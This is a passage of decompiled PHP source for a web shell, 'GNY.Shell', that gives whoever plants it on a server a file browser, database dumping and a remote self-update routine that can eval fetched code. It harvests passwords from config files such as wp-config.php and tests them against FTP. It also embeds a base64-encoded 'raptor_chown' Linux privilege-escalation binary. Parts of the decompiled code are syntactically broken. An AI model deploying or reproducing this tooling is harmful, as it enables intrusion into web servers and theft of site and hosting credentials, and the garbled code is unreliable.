    $world['write'] = $mode & 2 ? "w" : "-";
    $world['execute'] = $mode & 1 ? "x" : "-";
    if ( $mode & 2048 )
    {
        $owner['execute'] = $owner['execute'] == "x" ? "s" : "S";
    }
    if ( $mode & 1024 )
    {
        $group['execute'] = $group['execute'] == "x" ? "s" : "S";
    }
    if ( $mode & 512 )
    {
        $world['execute'] = $world['execute'] == "x" ? "t" : "T";
    }
    return $type.join( "", $owner ).join( "", $group ).join( "", $world );
}

function posix_getpwuid( $uid )
{
    return FALSE;
}

function posix_getgrgid( $gid )
{
    return FALSE;
}

function posix_kill( $gid )
{
    return FALSE;
}

function parse_perms( $mode )
{
    if ( ( $mode & 49152 ) === 49152 )
    {
        $t = "s";
    }
    else if ( ( $mode & 16384 ) === 16384 )
    {
        $t = "d";
    }
    else if ( ( $mode & 40960 ) === 40960 )
    {
        $t = "l";
    }
    else if ( ( $mode & 32768 ) === 32768 )
    {
        $t = "-";
    }
    else if ( ( $mode & 24576 ) === 24576 )
    {
        $t = "b";
    }
    else if ( ( $mode & 8192 ) === 8192 )
    {
        $t = "c";
    }
    else if ( ( $mode & 4096 ) === 4096 )
    {
        $t = "p";
    }
    else
    {
        $t = "?";
    }
    $o['r'] = 0 < ( $mode & 256 );
    $o['w'] = 0 < ( $mode & 128 );
    $o['x'] = 0 < ( $mode & 64 );
    $g['r'] = 0 < ( $mode & 32 );
    $g['w'] = 0 < ( $mode & 16 );
    $g['x'] = 0 < ( $mode & 8 );
    $w['r'] = 0 < ( $mode & 4 );
    $w['w'] = 0 < ( $mode & 2 );
    $w['x'] = 0 < ( $mode & 1 );
    return array( "t"=>$t, "o"=>$o, "g"=>$g, "w"=>$w );
}

function parsesort( $sort )
{
    $one = intval( $sort );
    $second = substr( $sort, -1 );
    if ( $second != "d" )
    {
        $second = "a";
    }
    return array( , $second );
}

function view_perms_color( $o )
{
    if ( !is_readable( $o ) )
    {
        return "<font color=red>".view_perms( fileperms( $o ) )."</font>";
    }
    else if ( !is_writable( $o ) )
    {
        return "<font color=white>".view_perms( fileperms( $o ) )."</font>";
    }
    else
    {
        return "<font color=green>".view_perms( fileperms( $o ) )."</font>";
    }
}

function getsource( $fn )
{
    global $GNY_sourcesurl;
    $array = array( "GNY_bindport.pl"=>"GNY_bindport_pl.txt", "GNY_bindport.c"=>"GNY_bindport_c.txt", "GNY_backconn.pl"=>"GNY_backconn_pl.txt", "GNY_backconn.c"=>"GNY_backconn_c.txt", "GNY_datapipe.pl"=>"GNY_datapipe_pl.txt", "GNY_datapipe.c"=>"GNY_datapipe_c.txt" );
    $name = $array[$fn];
    if ( $name )
    {
        return file_get_contents( $GNY_sourcesurl.$name );
    }
    else
    {
        return FALSE;
    }
}

function sh_getupdate( $update = "TRUE" )
{
    $url = $GNY_updateurl."?version=".urlencode( base64_encode( $shver ) )."&updatenow=".( $updatenow ? "1" : "0" )."&";
    $data = file_get_contents( $url );
    if ( !$data )
    {
        return "Can't connect to update-server!";
    }
    $data = ltrim( $data );
    $string = substr( $data, 3, ord( $data[2] ) );
    if ( $data[0] == "™" && $data[1] == "%01" )
    {
        return "Error: ".$string;
        return FALSE;
    }
    if ( $data[0] == "™" && $data[1] == "%02" )
    {
        return "You are using latest version!";
    }
    if ( $data[0] == "™" && $data[1] == "%03" )
    {
        $string = explode( "%01", $string );
        if ( $update )
        {
            $confvars = array( );
            $sourceurl = $string[0];
            $source = file_get_contents( $sourceurl );
            if ( !$source )
            {
                return "Can't fetch update!";
            }
            $fp = fopen( "D:\\Hacker\\CD3\\ÇÏæÇÊ ÇáÇÎÊÑÇÞ\\gaza.php", "w" );
            if ( !$fp )
            {
                return "Local error: can't write update to D:\\Hacker\\CD3\\ÇÏæÇÊ ÇáÇÎÊÑÇÞ\\gaza.php!";
            }
            fwrite( $fp, $source );
            fclose( $fp );
            return "Thanks! Updated successfully.";
            return "New version is available: ".$string[1];
        }
        else if ( $data[0] == "™" && $data[1] == "%04" )
        {
            eval( $string );
            return 1;
        }
        else
        {
            return "Error in protocol: segmentation failed! (".$data.") ";
        }
    }

function mysql_dump( $set )
{
    global $shver;
    $sock = $set['sock'];
    $db = $set['db'];
    $print = $set['print'];
    $nl2br = $set['nl2br'];
    $file = $set['file'];
    $add_drop = $set['add_drop'];
    $tabs = $set['tabs'];
    $onlytabs = $set['onlytabs'];
    $ret = array( );
    $ret['err'] = array( );
    if ( !is_resource( $sock ) )
    {
        echo "Error: \$sock is not valid resource.";
    }
    if ( isset( $db ) )
    {
        $db = "db";
    }
    if ( isset( $print ) )
    {
        $print = 0;
    }
    if ( isset( $nl2br ) )
    {
        $nl2br = 0;
    }
    if ( isset( $add_drop ) )
    {
        $add_drop = TRUE;
    }
    if ( isset( $file ) )
    {
        $file = $tmpdir."dump_".getenv( "SERVER_NAME" )."_".$db."_".date( "d-m-Y-H-i-s" ).".sql";
    }
    if ( !is_array( $tabs ) )
    {
        $tabs = array( );
    }
    if ( isset( $add_drop ) )
    {
        $add_drop = TRUE;
    }
    if ( sizeof( $tabs ) == 0 )
    {
        $res = mysql_query( "SHOW TABLES FROM ".$db, $sock );
        do
        {
            if ( 0 < mysql_num_rows( $res ) && ( $row = mysql_fetch_row( $res ) ) )
            {
                $Var_105[$tabs] = $row[0];
            }
        } while( 1 );
    }
    $out = "# MySQL Database Dump - GNY.Shell \r\n#\r\n# Host settings: \r\n# MySQL version: (".mysql_get_server_info( ).") running on ".getenv( "SERVER_ADDR" )." (".getenv( "SERVER_NAME" ).")"." \r\n# Date: ".date( "d.m.Y H:i:s" )." \r\n# Database: \"".$db."\" \r\n#--------------------------------------------------------- \r\n";
    $c = count( $onlytabs );
    foreach ( $tabs as $tab )
    {
        if ( in_array( $tab, $onlytabs ) || !$c )
        {
                continue;
        }
        else
        {
            if ( $add_drop )
            {
                $out .= "DROP TABLE IF EXISTS `".$tab."`;\n";
            }
            $res = mysql_query( "SHOW CREATE TABLE `".$tab."`", $sock );
            if ( !$res )
            {
                $Var_159[$ret['err']] = mysql_smarterror( );
                continue;
            }
            $row = mysql_fetch_row( $res );
            $out .= $row['1'].";\n\n";
            $res = mysql_query( "SELECT * FROM `$tab`", $sock );
            do
            {
                if ( !( 0 < mysql_num_rows( $res ) ) || !( $row = mysql_fetch_assoc( $res ) ) )
                {
                        continue;
                }
                else
                {
                    $keys = implode( "`, `", array_keys( $row ) );
                    $values = array_values( $row );
                    foreach ( $values as $k=>$v )
                    {
                        $values[$k] = addslashes( $v );
                    }
                    $values = implode( "', '", $values );
                    $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
                    $out .= $sql;
                    continue;
                }
            } while( 1 );
        }
    }
    $out .= "#---------------------------------------------------------------------------------\n\n";
    if ( $file )
    {
        $fp = fopen( $file, "w" );
        if ( !$fp )
        {
            $Var_236[$ret['err']] = 2;
        }
        else
        {
            fwrite( $fp, $out );
            fclose( $fp );
        }
    }
    if ( $print )
    {
        if ( $nl2br )
        {
            echo nl2br( $out );
        }
        else
        {
            echo $out;
        }
    }
    return $out;
}

function mysql_buildwhere( $array, $sep = " and", $functs = Const Array{
    if ( !is_array( $array ) )
    {
        $array = array( );
    }
    $result = "";
    foreach ( $array as $k=>$v )
    {
        $value = "";
        if ( !isset( $functs[$k] ) )
        {
            $value .= $functs[$k]."(";
        }
        $value .= "'".addslashes( $v )."'";
        if ( !isset( $functs[$k] ) )
        {
            $value .= ")";
        }
        $result .= "`".$k."` = ".$value.$sep;
    }
    $result = substr( $result, 0, strlen( $result ) - strlen( $sep ) );
    return $result;
}

function mysql_fetch_all( $query, $sock )
{
    if ( $sock )
    {
        $result = mysql_query( $query, $sock );
    }
    else
    {
        $result = mysql_query( $query );
    }
    $array = array( );
    while ( $row = mysql_fetch_array( $result ) )
    {
        $Var_20[$array] = $row;
    }
    mysql_free_result( $result );
    return $array;
}

function mysql_smarterror( $type, $sock )
{
    if ( $sock )
    {
        $error = mysql_error( $sock );
    }
    else
    {
        $error = mysql_error( );
    }
    $error = htmlspecialchars( $error );
    return $error;
}

function mysql_query_form( )
{
    global $submit;
    global $sql_act;
    global $sql_query;
    global $sql_query_result;
    global $sql_confirm;
    global $sql_query_error;
    global $tbl_struct;
    if ( $submit && !$sql_query_result && $sql_confirm )
    {
        if ( !$sql_query_error )
        {
            $sql_query_error = "Query was empty";
        }
        echo "<b>Error:</b> <br>".$sql_query_error."<br>";
    }
    if ( $sql_query_result || !$sql_confirm )
    {
        $sql_act = $sql_goto;
    }
    if ( !$submit || $sql_act )
    {
        echo "<table border=0><tr><td><form name=\"GNY_sqlquery\" method=POST><b>";
        if ( $sql_query && !$submit )
        {
            echo "Do you really want to";
        }
        else
        {
            echo "SQL-Query";
        }
        echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars( $sql_query )."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars( $sql_tbl )."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars( $sql_goto )."\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>";
        if ( $tbl_struct )
        {
            echo "<td valign=\"top\"><b>Fields:</b><br>";
            foreach ( $tbl_struct as $field )
            {
                $name = $field['Field'];
                echo "+ <a href=\"#\" onclick=\"document.GNY_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";
            }
            echo "</td></tr></table>";
        }
    }
    if ( $sql_query_result || !$sql_confirm )
    {
        $sql_query = $sql_last_query;
    }
}

function mysql_create_db( $db, $sock = "" )
{
    $sql = "CREATE DATABASE `".addslashes( $db )."`;";
    if ( $sock )
    {
        return mysql_query( $sql, $sock );
    }
    else
    {
        return mysql_query( $sql );
    }
}

function mysql_query_parse( $query )
{
    $query = trim( $query );
    $arr = explode( " ", $query );
    $types = array( "SELECT"=>array( 3, 1 ), "SHOW"=>array( 2, 1 ), "DELETE"=>array( 1 ), "DROP"=>array( 1 ) );
    $result = array( );
    $op = strtoupper( $arr[0] );
    if ( is_array( $types[$op] ) )
    {
        $result['propertions'] = $types[$op];
        $result['query'] = $query;
        if ( $types[$op] == 2 )
        {
            foreach ( $arr as $k=>$v )
            {
                if ( strtoupper( $v ) == "LIMIT" )
                {
                        continue;
                }
                else
                {
                    $result['limit'] = $arr[$k + 1];
                    $result['limit'] = explode( ",", $result['limit'] );
                    if ( count( $result['limit'] ) == 1 )
                    {
                        $result['limit'] = array( 0, $result['limit'][0] );
                    }
                }
            }
        }
    }
    else
    {
        return FALSE;
    }
}

function fsearch( $d )
{
    global $found;
    global $found_d;
    global $found_f;
    global $search_i_f;
    global $search_i_d;
    global $a;
    if ( substr( $d, -1 ) != DIRECTORY_SEPARATOR )
    {
        $d .= DIRECTORY_SEPARATOR;
    }
    $h = opendir( $d );
    while ( ( $f = readdir( $h ) ) !== FALSE )
    {
        if ( $f != "." && $f != ".." )
        {
                continue;
        }
        else
        {
            $bool = isset( $a['name_regexp'] ) && strpos( $f, $a['name'] ) !== FALSE || $a['name_regexp'] && ereg( $a['name'], $f );
            if ( is_dir( $d.$f ) )
            {
                ++$search_i_d;
                if ( isset( $a['text'] ) && $bool )
                {
                    $Var_64[$found] = $d.$f;
                    ++$found_d;
                }
                if ( !is_link( $d.$f ) )
                {
                        continue;
                }
                else
                {
                    fsearch( $d.$f );
                }
                continue;
            }
            ++$search_i_f;
            if ( $bool )
            {
                    continue;
            }
            else
            {
                if ( !isset( $a['text'] ) )
                {
                    $r = file_get_contents( $d.$f );
                    if ( $a['text_wwo'] )
                    {
                        $a['text'] = " ".trim( $a['text'] )." ";
                    }
                    if ( !$a['text_cs'] )
                    {
                        $a['text'] = strtolower( $a['text'] );
                        $r = strtolower( $r );
                    }
                    if ( $a['text_regexp'] )
                    {
                        $bool = ereg( $a['text'], $r );
                    }
                    else
                    {
                        $bool = strpos( " ".$r, $a['text'], 1 );
                    }
                    if ( $a['text_not'] )
                    {
                        $bool = !$bool;
                    }
                    if ( $bool )
                    {
                            continue;
                    }
                    else
                    {
                        $Var_140[$found] = $d.$f;
                        ++$found_f;
                    }
                    continue;
                }
                else
                {
                    $Var_148[$found] = $d.$f;
                    ++$found_f;
                }
            }
        }
    }
    closedir( $h );
}

function onphpshutdown( )
{
    global $gzipencode;
    global $ft;
    if ( !headers_sent( ) && $gzipencode && !in_array( $ft, array( "img", "download", "notepad" ) ) )
    {
        $v = ob_get_contents( );
        @ob_end_clean( );
        @ob_start( "ob_gzHandler" );
        echo $v;
        @ob_end_flush( );
    }
}

function gnyexit( )
{
    onphpshutdown( );
    exit( );
}

function displaysecinfo( $name, $value )
{
    if ( !isset( $value ) )
    {
        if ( !isset( $name ) )
        {
            $name = "<b>".$name." - </b>";
        }
        echo $name.nl2br( $value )."<br>";
    }
}

function read_dir( $path, $username )
{
    do
    {
        do
        {
            if ( ( $handle = opendir( $path ) ) && false !== ( $file = readdir( $handle ) ) )
            {
                $fpath = "$path$file";
            }
        } while ( !( $file != "." && $file != ".." ) || is_readable( $fpath ) );
        $dr = "$fpath/";
        if ( is_dir( $dr ) )
        {
            read_dir( $dr, $username );
            continue;
        }
        else if ( $file == "config.php" || $file == "config.inc.php" || $file == "db.inc.php" || $file == "connect.php" || $file == "wp-config.php" || $file == "var.php" || $file == "configure.php" || $file == "db.php" || $file == "db_connect.php" )
        {
                continue;
        }
        else
        {
            $pass = get_pass( $fpath );
            if ( $pass != "" )
            {
                    continue;
            }
            else
            {
                echo "[+] $fpath\
$pass\
";
                ftp_check( $username, $pass );
            }
        }
    } while( 1 );
}

function get_pass( $link )
{
    $config = fopen( $link, "r" );
    while ( !feof( $config ) )
    {
        $line = fgets( $config );
        if ( strstr( $line, "pass" ) || strstr( $line, "password" ) || strstr( $line, "passwd" ) )
        {
                continue;
        }
        else
        {
            if ( strrpos( $line, "\"" ) )
            {
                $pass = substr( $line, strpos( $line, "=" ) + 3, strrpos( $line, "\"" ) - ( strpos( $line, "=" ) + 3 ) );
            }
            else
            {
                $pass = substr( $line, strpos( $line, "=" ) + 3, strrpos( $line, "'" ) - ( strpos( $line, "=" ) + 3 ) );
            }
            return $pass;
        }
    }
}

function ftp_check( $login, $pass )
{
    $ftp = ftp_connect( "127.0.0.1" );
    if ( $ftp )
    {
        $res = ftp_login( $ftp, $login, $pass );
        if ( $res )
        {
            echo "[cPanel Found] ".$login.":".$pass."  Success\n";
        }
        else
        {
            ftp_quit( $ftp );
        }
    }
}

$Lversion = php_uname( r );
$OSV = php_uname( s );
if ( eregi( "Linux", $OSV ) )
{
    $Lversion = substr( $Lversion, 0, 6 );
    $millink = "http://milw0rm.com/search.php?dong=Linux Kernel ".$Lversion;
    $stormlink = "http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=Linux+Kernel+".$Lversion;
}
else
{
    $Lversion = substr( $Lversion, 0, 3 );
    $millink = "http://milw0rm.com/search.php?dong=".$OSV." ".$Lversion;
    $stormlink = "http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=".$OSV."+".$Lversion;
}
if ( !function_exists( "myshellexec" ) )
{
    if ( is_callable( "popen" ) )
    {
    }
    else
    {
    }
}





$raptorchown = "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\r\nQ29weXJpZ2h0IChjKSAyMDA0IE1hcmNvIEl2YWxkaSA8cmFwdG9yQDB4ZGVhZGJlZWYuaW5mbz4A\r\nAAAAAAAAAHJhcHRvcl9jaG93bi5jIC0gc3lzX2Nob3duIG1pc3NpbmcgREFDIGNvbnRyb2xzIG9u\r\nIExpbnV4ACVzCiVzCgoAdXNhZ2U6ICVzIGZpbGVfbmFtZQoKAEVycm9yOiBOb3QgdnVsbmVyYWJs\r\nZSEKAEVycm9yAE5pbnBvdTogc3lzX2Nob3duIG5vIGp1dHN1IQoAL2Jpbi9scyAtbCAlcwAAAAAA\r\nAAAAAOSYBAgAAAAAAQAAAAEAAAAMAAAAnIMECA0AAADIhgQIBAAAAEiBBAgFAAAAYIIECAYAAACQ\r\ngQQICgAAAJcAAAALAAAAEAAAABUAAAAAAAAAAwAAAOyYBAgCAAAASAAAABQAAAARAAAAFwAAAFSD\r\nBAgRAAAARIMECBIAAAAQAAAAEwAAAAgAAAD+//9vFIMECP///28BAAAA8P//b/iCBAgAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/////AAAAAP////8AAAAA\r\nAAAAABCYBAgAAAAAAAAAAMqDBAjagwQI6oMECPqDBAgKhAQIGoQECCqEBAg6hAQISoQECAAAAAAA\r\nR0NDOiAoR05VKSAzLjMuMyAocmVsZWFzZSkAAEdDQzogKEdOVSkgMy4zLjMgKHJlbGVhc2UpAABH\r\nQ0M6IChHTlUpIDMuMy4zIChyZWxlYXNlKQAAR0NDOiAoR05VKSAzLjMuMyAocmVsZWFzZSkAAEdD\r\nQzogKEdOVSkgMy4zLjMgKHJlbGVhc2UpAABHQ0M6IChHTlUpIDMuMy4zIChyZWxlYXNlKQAALnN5\r\nbXRhYgAuc3RydGFiAC5zaHN0cnRhYgAuaW50ZXJwAC5ub3RlLkFCSS10YWcALmhhc2gALmR5bnN5\r\nbQAuZHluc3RyAC5nbnUudmVyc2lvbgAuZ251LnZlcnNpb25fcgAucmVsLmR5bgAucmVsLnBsdAAu\r\naW5pdAAudGV4dAAuZmluaQAucm9kYXRhAC5kYXRhAC5laF9mcmFtZQAuZHluYW1pYwAuY3RvcnMA\r\nLmR0b3JzAC5qY3IALmdvdAAuYnNzAC5jb21tZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAABsAAAABAAAAAgAAABSBBAgUAQAAEwAAAAAAAAAAAAAAAQAAAAAAAAAj\r\nAAAABwAAAAIAAAAogQQIKAEAACAAAAAAAAAAAAAAAAQAAAAAAAAAMQAAAAUAAAACAAAASIEECEgB\r\nAABIAAAABAAAAAAAAAAEAAAABAAAADcAAAALAAAAAgAAAJCBBAiQAQAA0AAAAAUAAAABAAAABAAA\r\nABAAAAA/AAAAAwAAAAIAAABgggQIYAIAAJcAAAAAAAAAAAAAAAEAAAAAAAAARwAAAP///28CAAAA\r\n+IIECPgCAAAaAAAABAAAAAAAAAACAAAAAgAAAFQAAAD+//9vAgAAABSDBAgUAwAAMAAAAAUAAAAB\r\nAAAABAAAAAAAAABjAAAACQAAAAIAAABEgwQIRAMAABAAAAAEAAAAAAAAAAQAAAAIAAAAbAAAAAkA\r\nAAACAAAAVIMECFQDAABIAAAABAAAAAsAAAAEAAAACAAAAHUAAAABAAAABgAAAJyDBAicAwAAFwAA\r\nAAAAAAAAAAAABAAAAAAAAABwAAAAAQAAAAYAAAC0gwQItAMAAKAAAAAAAAAAAAAAAAQAAAAEAAAA\r\newAAAAEAAAAGAAAAVIQECFQEAAB0AgAAAAAAAAAAAAAEAAAAAAAAAIEAAAABAAAABgAAAMiGBAjI\r\nBgAAGwAAAAAAAAAAAAAABAAAAAAAAACHAAAAAQAAAAIAAAAAhwQIAAcAAAABAAAAAAAAAAAAACAA\r\nAAAAAAAAjwAAAAEAAAADAAAAAJgECAAIAAAMAAAAAAAAAAAAAAAEAAAAAAAAAJUAAAABAAAAAgAA\r\nAAyYBAgMCAAABAAAAAAAAAAAAAAABAAAAAAAAACfAAAABgAAAAMAAAAQmAQIEAgAAMgAAAAFAAAA\r\nAAAAAAQAAAAIAAAAqAAAAAEAAAADAAAA2JgECNgIAAAIAAAAAAAAAAAAAAAEAAAAAAAAAK8AAAAB\r\nAAAAAwAAAOCYBAjgCAAACAAAAAAAAAAAAAAABAAAAAAAAAC2AAAAAQAAAAMAAADomAQI6AgAAAQA\r\nAAAAAAAAAAAAAAQAAAAAAAAAuwAAAAEAAAADAAAA7JgECOwIAAA0AAAAAAAAAAAAAAAEAAAABAAA\r\nAMAAAAAIAAAAAwAAACCZBAggCQAACAAAAAAAAAAAAAAABAAAAAAAAADFAAAAAQAAAAAAAAAAAAAA\r\nIAkAAKgAAAAAAAAAAAAAAAEAAAAAAAAAEQAAAAMAAAAAAAAAAAAAAMgJAADOAAAAAAAAAAAAAAAB\r\nAAAAAAAAAAEAAAACAAAAAAAAAAAAAADQDgAA0AQAABoAAAArAAAABAAAABAAAAAJAAAAAwAAAAAA\r\nAAAAAAAAoBMAANcCAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUgQQIAAAA\r\nAAMAAQAAAAAAKIEECAAAAAADAAIAAAAAAEiBBAgAAAAAAwADAAAAAACQgQQIAAAAAAMABAAAAAAA\r\nYIIECAAAAAADAAUAAAAAAPiCBAgAAAAAAwAGAAAAAAAUgwQIAAAAAAMABwAAAAAARIMECAAAAAAD\r\nAAgAAAAAAFSDBAgAAAAAAwAJAAAAAACcgwQIAAAAAAMACgAAAAAAtIMECAAAAAADAAsAAAAAAFSE\r\nBAgAAAAAAwAMAAAAAADIhgQIAAAAAAMADQAAAAAAAIcECAAAAAADAA4AAAAAAACYBAgAAAAAAwAP\r\nAAAAAAAMmAQIAAAAAAMAEAAAAAAAEJgECAAAAAADABEAAAAAANiYBAgAAAAAAwASAAAAAADgmAQI\r\nAAAAAAMAEwAAAAAA6JgECAAAAAADABQAAAAAAOyYBAgAAAAAAwAVAAAAAAAgmQQIAAAAAAMAFgAA\r\nAAAAAAAAAAAAAAADABcAAAAAAAAAAAAAAAAAAwAYAAAAAAAAAAAAAAAAAAMAGQAAAAAAAAAAAAAA\r\nAAADABoAAQAAAHiEBAgAAAAAAgAMABEAAAAAAAAAAAAAAAQA8f8cAAAA2JgECAAAAAABABIAKgAA\r\nAOCYBAgAAAAAAQATADgAAADomAQIAAAAAAEAFABFAAAACJgECAAAAAABAA8ASQAAACSZBAgBAAAA\r\nAQAWAFUAAACchAQIAAAAAAIADABrAAAA2IQECAAAAAACAAwAEQAAAAAAAAAAAAAABADx/3cAAADc\r\nmAQIAAAAAAEAEgCEAAAA5JgECAAAAAABABMAkQAAAAyYBAgAAAAAAQAQAJ8AAADomAQIAAAAAAEA\r\nFACrAAAApIYECAAAAAACAAwAwQAAAAAAAAAAAAAABADx/9AAAAAAAAAA4AAAABIAAADhAAAAEJgE\r\nCAAAAAARABEA6gAAAACHBAgEAAAAEQAOAPEAAAAAAAAAyQEAABIAAAADAQAAAAAAABQAAAASAAAA\r\nFgEAAACYBAgAAAAAEALx/ycBAAAEmAQIAAAAABECDwA0AQAAYIYECEQAAAASAAwARAEAAAAAAAA0\r\nAAAAEgAAAGABAAAAAAAAZgAAABIAAAByAQAAnIMECAAAAAASAAoAeAEAACCZBAgEAAAAEQAWAIoB\r\nAABUhAQIAAAAABIADACRAQAAAJgECAAAAAAQAvH/pAEAABiGBAhIAAAAEgAMALQBAAAgmQQIAAAA\r\nABAA8f/AAQAABIUECBEBAAASAAwAxQEAAAAAAADVAAAAEgAAAOIBAAAAmAQIAAAAABAC8f/zAQAA\r\nAJgECAAAAAAgAA8A/gEAAMiGBAgAAAAAEgANAAQCAAAAAAAAQwAAABIAAAAWAgAAAJgECAAAAAAQ\r\nAvH/KgIAAAAAAADLAAAAEgAAADoCAAAgmQQIAAAAABAA8f9BAgAA7JgECAAAAAARABUAVwIAACiZ\r\nBAgAAAAAEADx/1wCAAAAmAQIAAAAABAC8f9vAgAABIcECAQAAAARAA4AfgIAAAAAAAAkAAAAEgAA\r\nAJECAAAAmAQIAAAAABAADwCeAgAAAAAAAAAAAAAgAAAAsgIAAACYBAgAAAAAEALx/8gCAAAAAAAA\r\nAAAAACAAAAAAY2FsbF9nbW9uX3N0YXJ0AGNydHN0dWZmLmMAX19DVE9SX0xJU1RfXwBfX0RUT1Jf\r\nTElTVF9fAF9fSkNSX0xJU1RfXwBwLjAAY29tcGxldGVkLjEAX19kb19nbG9iYWxfZHRvcnNfYXV4\r\nAGZyYW1lX2R1bW15AF9fQ1RPUl9FTkRfXwBfX0RUT1JfRU5EX18AX19GUkFNRV9FTkRfXwBfX0pD\r\nUl9FTkRfXwBfX2RvX2dsb2JhbF9jdG9yc19hdXgAcmFwdG9yX2Nob3duLmMAY2hvd25AQEdMSUJD\r\nXzIuMQBfRFlOQU1JQwBfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZnByaW50ZkBAR0xJQkNfMi4w\r\nAF9fZmluaV9hcnJheV9lbmQAX19kc29faGFuZGxlAF9fbGliY19jc3VfZmluaQBfX2Vycm5vX2xv\r\nY2F0aW9uQEBHTElCQ18yLjAAc3lzdGVtQEBHTElCQ18yLjAAX2luaXQAc3RkZXJyQEBHTElCQ18y\r\nLjAAX3N0YXJ0AF9fZmluaV9hcnJheV9zdGFydABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQA\r\nbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAF9faW5pdF9hcnJheV9lbmQAZGF0YV9z\r\ndGFydABfZmluaQBnZXRnaWRAQEdMSUJDXzIuMAB